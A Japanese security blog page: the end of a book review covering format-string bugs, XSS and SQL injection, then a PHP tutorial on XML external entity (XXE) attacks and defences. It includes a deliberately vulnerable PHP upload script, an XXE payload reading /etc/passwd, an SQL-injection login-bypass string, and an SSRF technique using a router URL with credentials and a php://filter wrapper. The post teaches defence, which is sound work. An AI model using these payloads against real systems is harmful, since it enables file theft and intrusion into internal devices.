さて、評者が本書を取り上げるきっかけになったのは何と言っても第4章の「書式指定文字列の脆弱性」である。著者はどのようにこの脆弱性を説明しているか。著者はまずprintf等の書式指定について説明を始め、書式指定子を外部から指定できることの問題点を詳細に説明している。書式指定子の指定によるバッファ書き換えの方法として、%n書式による悪用の実際を実に丁寧に、図やソースコードを交えて説明する。おそらく著者が一番書きたかったのはこの第4章なのだろう。
書式指定文字列の脆弱性としては、sudoの脆弱性 CVE-2012-0809 を取り上げ、脆弱なソースの紹介、脆弱性が混入した原因、修正後のソースの説明に至っている。ここの内容は評者も初めて知るもので興味深かった。

ここまで紹介した第3章と第4章はいわゆる「バイナリ」の分野だが、第5章と第6賞はウェブアプリケーションの脆弱性についてである。XSSやSQLインジェクションを説明するためには、脆弱性の説明の前に、HTTPやHTML、JavaScript、セッション、SQL等の要素技術を説明する必要がある。これだけで力尽きてしまいそうだが、著者はこれまで通り基礎事項の丁寧な説明を続ける。XSSとSQLインジェクションの基礎的な説明の後、悪用例として、XSSはセッションハイジャック、SQLインジェクションは認証回避とUNIONを用いた情報漏えいを紹介している。いずれも妥当な解説である。

著者の野望は果たされたか

冒頭で述べたように、著者は本書でプログラミングを知らない層向けに、脆弱性について詳しく説明を試みている。そのためにはプログラミングの知識が必要不可欠であるため、脆弱性の説明のために必要なプログラミングの知識から本書では説明が始まっている。実に野心的な試みと言わざるを得ない。
では、その著者の野心は成功しているのだろうか。これについて、評者は「分からない」と言うしかない。既に評者はプログラミングをある程度知っているので、プログラミングを知らない読者が本書を読んでどんな感想を持つかはわからないし、正直なところ、プログラミングをまったく知らない読者にとって、本書は難しいのではないかと思った。この点については、しかるべき読者の評を待ちたい。
ただし、本書は、プログラミングをある程度知っている読者にとっても極めて有益だ。なので、著者の狙いはともかくとして、本書の「現実の読者層」は、ある程度はプログラミングになじんでいるセキュリティ入門者なのではないかと思った。

ささいな指摘

いくつか軽微なミスを見つけたので報告しておこう。

・CVE-2011-1938が影響を受けるバージョンについて
本書P97にて、CVE-2011-1938は、「PHPのバージョン5.3.3~5.3.6に存在していました」と説明している。これは公式な説明がそうなので無理もないが、正しくは5.2.7~5.3.6である。詳しくは、前述の評者のブログ記事を参照されたし。

・SQLについて
「SQL(Structured Query Language)」はという説明があるが、ISO等の規格では、SQLは何かの略語ではないとされている(P172)。

・SQLインジェクションにおける認証回避の攻撃文字列
SQLインジェクションの攻撃例で、認証回避の文字列を以下のように説明しているが、
'OR'A'='A'
正しくは下記である(P181; 末尾のシングルクォーテーションが余計)
'OR'A'='A

まとめ

中島明日香氏の『サイバー攻撃 ネット世界の裏側で起きていること』を紹介した。プログラミングの知識のない層向けに脆弱性の本質を説明するという著者の試みはまことに野心的であり、評者はその野心と、野心の実現のための努力に敬意を表する。果たしてその野心が額面通りに実現されたかどうか、評者には判断できないが、少なくともプログラミングをある程度知る層に向けては、脆弱性についてのよい手引になると考える。



2017年12月25日月曜日

PHPプログラマのためのXXE入門

この日記はPHP Advent Calendar 2017の25日目です。前回は@watanabejunyaさんの「PHPでニューラルネットワークを実装してみる」でした。

OWASP Top 10 2017が発表され、ウェブのセキュリティ業界がざわついています。というのも、2013年版までは入っていたCSRFが外され、以下の2つの脅威が選入されたからです。
  • A4 XML外部実体参照(XXE)
  • A8 安全でないデシリアライゼーション
これらのうち、「A8 安全でないデシリアライゼーション」については、過去に「安全でないデシリアライゼーション(Insecure Deserialization)入門」という記事を書いていますので、そちらを参照ください。
本稿では、XML外部実体参照(以下、XXEと表記)について説明します。

XXEとは

XXEは、XMLデータを外部から受け取り解析する際に生じる脆弱性です。具体的には、XMLの外部実体参照により起こります。
ここで、XMLの実体(entity)は以下のように宣言するものです。例はWikipediaから拝借しました。

<!DOCTYPE foo [
<!ENTITY greeting "こんにちは">
<!ENTITY external-file SYSTEM "external.xml">
]>
このようにして宣言した実体は、XML文書内で、&greeting; &external-file; という形(実体参照)で参照します。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY greeting "こんにちは">
<!ENTITY external-file SYSTEM "external.xml">
]>
<foo>
 <hello>&greeting;</hello>
 <ext>&external-file;</ext>
</foo>
上記で、external.xmlの中身が、「Hello World」だとすると、上記のXMLの実体参照は以下のように展開されます。
<foo>
 <hello>こんにちは</hello>
 <ext>Hello World</ext>
</foo>
ということは、XMLを受け付けるプログラムに外部実体宣言を含むXMLを食わせれば、ウェブサーバー内の任意のファイルを読み込み表示するという、あたかもディレクトリトラバーサルのような攻撃ができることになります。これがXXEの基本形です。

サンプルプログラム

ここでXXE脆弱なサンプルを紹介します。年賀状の季節ですので、住所録を想定して、XML形式ファイルで個人情報をアップロードして登録するプログラムを用います。PHPではJavaに比べてXXEを発現する条件が厳しいので、一番ありそうなケースの一例として、パッチのまったく当たっていないDebian 7 (wheezy) で実行しています。

まずはXMLファイルをアップロードするHTML。
<form action="xxe.php" method="post" enctype="multipart/form-data">
  <input type="file" name="user" />
  <input type="submit"/>
</form>
XMLを受け取り登録する(実際には登録内容を表示するだけ)のプログラム。
<?php
$doc = new DOMDocument();
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?>
<body>
以下の内容で登録しました<br>
氏名: <?php echo htmlspecialchars($name); ?><br>
住所: <?php echo htmlspecialchars($addr); ?><br>
</body>
正常系のデータ例
<?xml version="1.0" encoding="utf-8" ?>
<user>
  <name>徳丸浩</name>
  <address>東京都港区麻布十番</address>
</user>
この場合の表示
<body>
以下の内容で登録しました<br>
氏名: 徳丸浩<br>
住所: 東京都港区麻布十番<br>
</body>
ここで攻撃例として、以下のXMLファイルをアップロードします。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY pass SYSTEM "/etc/passwd">
]>
<user>
  <name>徳丸浩</name>
  <address>&pass;</address>
</user>
表示は以下となります。
<body>
以下の内容で登録しました<br>
氏名: 徳丸浩<br>
住所: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
【以下略】
/etc/passwdの内容が表示されていることが分かります。

XXEの発現する条件

ところで、なぜこのデモにDebian 7を用いたかというと、Debian 7で提供されているlibxml2のバージョンが2.8.0というXXE対策のされていないバージョンだからです。libxml2の2.9.0以降は、外部実体をデフォルトでは読み込まないようにするという制限が加わり、上記の脆弱性デモは成功しなくなります。Debian7でもlibxml2に最新のパッチが当たっている環境では大丈夫です。
Debianに限らず、CentOS(6以上)、Ubuntu(12.04以降)でも全てのパッチが当たっていれば大丈夫です。つまりPHPでは、XXEは基本的に「プラットフォームの問題」といえます。

新しいlibxml2でもXXE脆弱にする方法

では、libxml2が2.9以降なら絶対安全かというと、アプリケーションレベルで外部実体を読み込む設定にしていれば、当然脆弱になります。上記のスクリプトだと、以下の追加によりそれは可能です。
$doc = new DOMDocument();
$doc->substituteEntities = true;          // この行を追加
$doc->load($_FILES['user']['tmp_name']);

その他の攻撃

先程の攻撃スクリプトでは、ウェブサーバー上のファイルを読み出す攻撃を紹介しました。これ以外にhttp:等のURLを指定して、別サーバーの情報を読み出すという攻撃ができます。この攻撃は一般にSSRF(Server Side Request Forgery)と呼ばれ、外部から直接アクセスできないサーバー・機器への攻撃用の踏み台として用いることが可能です。

攻撃シナリオとして、ある人が自宅のPCを外部にウェブ公開している場合に、そのサイト経由で自宅リモートルータに侵入する実験をしてみます。
この場合、外部実体宣言として以下のようにすればよいわけですが…
<!ENTITY router SYSTEM "http://192.168.0.1">
実際の攻撃では、以下の2点の課題があります。
  • ルーターの認証を突破する必要がある
  • 外部実体が展開された結果が正しいXMLになっている必要がある
この2点を解決する方法ですが、まず認証の突破は、ルーターのパスワードがわかっていれば(あるいは辞書攻撃により)、URLに埋め込む形で以下のように指定することができます。ユーザ名: admin、パスワード: PASSWORDを例として想定しています。
http://admin:PASSWORD@192.168.0.1/
次に、XML形式としての妥当性ですが、PHPでXXE攻撃する場合、以下のようにPHPフィルタを用いてBASE64エンコードするという技が知られています。
<!ENTITY pass SYSTEM 
"php://filter/read=convert.base64-encode/resource=http://admin:PASSWORD@192.168.0.1/">
これを用いて、自宅のAtermを攻撃してみました。詳細は省略しますが、上記手法により、無線LANの事前共有鍵を盗むことができました。ウェブサーバーを踏み台として、外部からは直接アクセスできないルーターの管理画面にアクセスができたことになります。
この種の攻撃を防止するには、XXE脆弱性の排除は当然として、ルーターのパスワードを強固にする事が重要です。これは、DNSリバインディング攻撃にも有効な対策です。

対策

PHPの場合XXE対策は、既に述べたように、libxml2をバージョン2.9以降にするか、対策パッチを適用することです。Linux上にウェブサーバーを設置している場合は、最新のパッチがあたっていることを確認して下さい。
加えて、アプリケーション側で明示的に外部実体の読み込みを許可していない必要があります。

今まで説明していない対策として、以下の関数呼び出しによる方法があります。
libxml_disable_entity_loader(true);
これですと、libxml2のバージョンやアプリケーションの他の設定に関わらず、常に外部実体の読み込みが禁止されます。単独で安全な設定になるので推奨したいところですが、強力過ぎて副作用もあります。この設定にすると、サンプルスクリプトの $doc->load() メソッドの呼び出しもエラーになってしまうのです。つまり正常系が動かなくなるケースがあります。

これに対応するには、loadメソッドを避け、別の方法でXMLファイルを読み込んでから、その文字列をloadXMLメソッドで解析します。下記の例では、file_get_contentsで読み込んだXMLファイルをloadXMLメソッドで解析しています。
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$xmlstr = file_get_contents($_FILES['user']['tmp_name']);
$r = $doc->loadXML($xmlstr);

まとめ

PHPにおけるXXE脆弱性について説明しました。
PHPの場合、libxml2を最新にするだけで防げるので、XXEがOWASP Top 10に選入されたと知って「なぜ今時?」と思いましたが、Javaの場合はデフォルトでXXEが有効になるので、PHPはたまたま安全なケースが多いということなのでしょう。ただし、仮にXXE脆弱な場合、PHPは攻撃のバリエーションが増え、危険度が増加する可能性があります。
ウェブサイト運営という観点からは、libxml2を最新の状態にするという対策で通常は問題ないかと思います。一般に公開するソフトウェアを開発する場合は、libxml2が古い環境を想定して、以下のいずれかによる対策をお勧めします。
  • libxml_disable_entity_loader(true); を呼んでおく
  • libxml2 2.9以降必須という条件をドキュメントに明記する

フォロワー

ブログ アーカイブ